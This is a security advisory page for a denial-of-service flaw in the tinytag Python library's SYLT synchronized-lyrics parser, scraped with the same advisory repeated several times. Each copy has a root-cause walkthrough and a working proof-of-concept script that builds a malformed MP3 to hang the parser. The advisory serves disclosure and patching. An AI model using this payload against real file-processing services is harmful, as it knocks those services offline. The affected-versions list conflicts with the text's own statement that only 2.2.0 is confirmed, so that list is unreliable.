_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 03, 2016

0.12.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 02, 2016

0.11.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 01, 2016

0.10.1 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 12, 2015

0.10.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 12, 2015

0.9.3 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Jul 19, 2015

0.9.2 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

